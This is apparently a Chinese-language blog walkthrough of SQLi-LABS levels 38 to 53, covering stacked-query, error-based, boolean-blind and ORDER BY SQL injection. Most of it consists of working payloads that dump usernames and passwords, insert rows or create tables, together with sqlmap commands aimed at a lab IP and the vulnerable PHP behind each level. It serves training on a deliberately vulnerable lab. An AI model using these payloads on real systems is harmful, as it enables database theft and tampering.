1. 程式人生 > 其它 >SQLi-LABS靶場Less-38~53解題記錄

SQLi-LABS靶場Less-38~53解題記錄

刷題

Page3

Less-38(GET- Stacked Query Injection - String)

GET - 堆疊查詢注入 - 字串

堆疊注入,實際上就構成了兩條SQL語句

?id=1' union select 1,2,3 --+    //未報錯

?id=1' union select 1,2,3,4 --+     //報錯

查詢出有三個欄位,

使用堆疊注入,

暴位置

?id=-1' union select 1,2,3;insert into users values(33,'hacker','hacker')  --+

爆庫及版本

?id=-1' union select 1,version(),database();insert into users values(33,'hacker','hacker')  --+

爆表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')  --+

暴欄位

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')  --+

暴值

?id=-1' union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')  --+

程式碼分析

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-39(GET - Stacked Query Injection - Intiger based)

GET - 堆疊查詢注入 - 基於int整型

同上題,只不過沒有單引號

暴位置

?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')

爆庫及版本

?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')

暴欄位

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')

暴值

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')
程式碼分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-40(GET - BLIND based - String - Stacked)

GET - 基於盲注 - 堆疊

同上題,只不過加上單引號和右括號 ‘)

使用堆疊注入,

暴位置

?id=-1') union select 1,2,3;insert into users values(33,'hacker','hacker')  --+

爆庫及版本

?id=-1') union select 1,version(),database();insert into users values(33,'hacker','hacker')  --+

爆表

?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')  --+

暴欄位

?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')  --+

暴值

?id=-1') union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')  --+
程式碼分析
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-41(GET - BLIND based - Intiger - Stacked)

GET - 基於盲注 - int整型 - 堆疊

同39一樣,只不過錯誤沒有回顯

暴位置

?id=-1 union select 1,2,3;insert into users values(33,'hacker','hacker')

爆庫和版本

?id=-1 union select 1,version(),database();insert into users values(33,'hacker','hacker')

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();insert into users values(33,'hacker','hacker')

暴欄位

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';insert into users values(33,'hacker','hacker')

暴值

?id=-1 union select 1,2,group_concat(username,0x3a,password) from users;insert into users values(33,'hacker','hacker')
程式碼分析
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-42(POST - Error based - String - Stacked)

POST - 基於錯誤 - 字串 - 堆疊

看看註冊頁是啥

好像是禁止註冊新使用者了

首先使用admin:admin進行登入

發現登入進來的頁面很熟悉

退出重新進入登入頁面

嘗試在password裡面進行堆疊注入

a';create table hacker like users;insert into hacker select *from users; #

看似的確報錯了,我們去資料庫看看,發現hacker表已經成功建立

同樣的利用此方式可以更新和插入資料項。

程式碼分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

if (@mysqli_multi_query($con1, $sql))

Less-43(POST - Error based - String - Stacked with twist)

POST - 基於盲注 - 字串 - 堆疊和小括號

同上,只不過多了一個);

payload-password: a’);create table less43 like users#
程式碼分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

if (@mysqli_multi_query($con1, $sql))
Parameter: login_password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: login_user=admin&login_password=admin') AND 3114=3114-- kinF&mysubmit=Login

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: login_user=admin&login_password=admin') AND (SELECT 9105 FROM(SELECT COUNT(*),CONCAT(0x716a7a6b71,(SELECT (ELT(9105=9105,1))),0x716a6b6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- rvTf&mysubmit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login_user=admin&login_password=admin') AND (SELECT 3308 FROM (SELECT(SLEEP(5)))xCka)-- twYD&mysubmit=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: login_user=admin&login_password=-1339') UNION ALL SELECT NULL,CONCAT(0x716a7a6b71,0x7467725a7970747061735a584c4f7664744a6b71596751507051474d4f5a48584e7446774f4d7142,0x716a6b6a71),NULL-- -&mysubmit=Login
---

Less-44(POST - Error based - String - Stacked -Blind)

POST - 基於錯誤 - 字串 - 堆疊 - 盲注

同上42,只是沒有回顯資訊

payload-password:a’;insert into users(id,username,password) values (‘144’,’less44’,’hello’)#
程式碼分析
 $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
 $password = $_POST["login_password"];

 $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
  
 if (@mysqli_multi_query($con1, $sql))
---
Parameter: login_password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: login_user=admin&login_password=admin' AND 2513=2513-- ouQj&mysubmit=Login

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: login_user=admin&login_password=admin' AND (SELECT 1752 FROM (SELECT(SLEEP(5)))XNKu)-- GDXe&mysubmit=Login

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: login_user=admin&login_password=-8220' UNION ALL SELECT NULL,CONCAT(0x716a767671,0x6f66556958554859626b6d73416f6575525a4a505546797a744f4e4c49594b74554a4c6355586a78,0x7170707a71),NULL-- -&mysubmit=Login
---

Less-45(POST - Error based - String - Stacked - Blind)

POST - 基於錯誤 - 字串 - 堆疊 - 盲注

同上43,只是沒有回顯資訊

payload-password:a’);create table less43 like users#
程式碼分析
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];

$sql = "SELECT * FROM users WHERE username=('$username') and password=('$password')";

if (@mysqli_multi_query($con1, $sql))

Less-46(GET - Error based - Numeric - ORDER BY CL AUSE)

GET - 基於錯誤 - Numeric數字型 - order by子句

方法一:手工注入

嘗試?sort=1 desc或者asc,顯示結果不同,則表明可以注入。(升序or降序排列)

?sort=1 asc
?sort=1 desc

我們可利用order by後的一些引數進行注入。
1)、order by 後的數字可以作為一個注入點。也就是構造order by 後的一個語句,讓該語句執行結果為一個數,我們嘗試

?sort=left(version(),1)

沒有報錯,但是right換成left都一樣,說明數字沒有起作用,我們考慮布林型別。此時我們可以用報錯注入和延時注入。
此處可以直接構造 ?sort= 後面的一個引數。此時,我們可以有三種形式,
①直接添加註入語句,?sort=(select ******)
②利用一些函式。例如rand()函式等。?sort=rand(sql語句)
Ps:此處我們可以展示一下rand(ture)rand(false)的結果是不一樣的。

③利用and,例如?sort=1 and (加sql語句)。
同時,sql語句可以利用報錯注入和延時注入的方式,語句我們可以很靈活的構造。

報錯注入:

爆表:

?sort=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

?sort=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

顯示未完全:

?sort=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法二:sqlmap自動注入

這裡我們直接指定注入方式為報錯注入

python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-46/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
程式碼分析
$sql = "SELECT * FROM users ORDER BY $id";

Less-47(GET - Error based - String - ORDER BY CLAUSE)

GET - 基於錯誤 - 字串 - order by子句

同上,只不過變成字元型了,多一個單引號

暴表:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+

暴列:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+

暴值:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+

顯示未完全:

?sort=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','Angelina')))) --+
方法二:sqlmap自動注入

通less46,這裡我們指定注入方式為報錯注入

python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-47/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=E -D security -T users -C password:username -dump
程式碼分析
$sql = "SELECT * FROM users ORDER BY '$id'";

Less-48(GET- Error based - Blind- Numeric- ORDER BY CL AUSE)

GET - 基於錯誤 - 盲注 - 數字整型 - order by子句

本關與less-46的區別在於報錯注入不能使用,不進行錯誤回顯,因此其他的方法我們依舊是可以使用的。
可以利用sort=rand(true/false)進行判斷。

猜解庫名:

9  

正確的

?sort=rand(left(database(),1)='d')

錯誤的

猜解表

?sort=rand(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)='e')

猜解列

?sort=rand(left((select column_name from information_schema.columns where table_name='users' limit 0,1),1)='i')

猜解值

?sort=rand(left((select username from users limit 0,1),1)='d')

也可以用And後的延時注入

方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-48/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql = "SELECT * FROM users ORDER BY $id";

Less-49(GET- Error based - String- Blind - ORDER BY CI AUSE)

GET - 基於錯誤 - 盲注 - 字串 - order by子句

本關與47關基本類似,區別在於沒有錯誤回顯,所以我們可以通過延時注入進行注入。
利用延時注入

方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-49?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-49/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql = "SELECT * FROM users ORDER BY '$id'";

Less-50(GET - Error based - ORDER BY CLAUSE -numeric- Stacked injection)

GET - 基於錯誤 - order by子句 - 數字整型 - 堆疊

mysqli_multi_query()可以執行多條sql 這個實驗使用的是這個函式
mysqli_query() 只可以執行一條

?sort=1;create table less50 like users --+

進行插入和修改操作。

方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-50/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-51(GET - Error based - ORDER BY CLAUSE-String- Stacked Injection)

GET - 基於錯誤 - order by子句 - 字串 - 堆疊

同less50,只不過是字元型
mysqli_multi_query()可以執行多條sql 這個實驗使用的是這個函式
mysqli_query() 只可以執行一條

方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-51/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-52(GET - Blind based - ORDER BY CL AUSE -numeric- Stacked injection)

GET - 基於盲注 - order by子句 - 數字整型 - 堆疊

同上50,只不過不顯示錯誤

payload:?sort=1;create%20table%20less50%20like%20users
方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-52/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql="SELECT * FROM users ORDER BY $id";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))

Less-53(GET - GET - Blind based - ORDER BY CLAUSE -String- stacked injection)

GET - 基於盲注 - order by子句 - 字串 - 堆疊

同上51,只不過不顯示錯誤

payload:?sort=1%27;create%20table%20less53%20like%20users–+
方法二:sqlmap自動注入

這裡我們指定注入方式為布林盲注

python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B --dbs  
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security --tables 
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users --col 
python sqlmap.py -u "http://192.168.74.143:86/Less-53/?sort=1" --level=5 --risk=3 --threads=200 --dbms=mysql --technique=B -D security -T users -C password:username -dump
程式碼分析
$sql="SELECT * FROM users ORDER BY '$id'";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))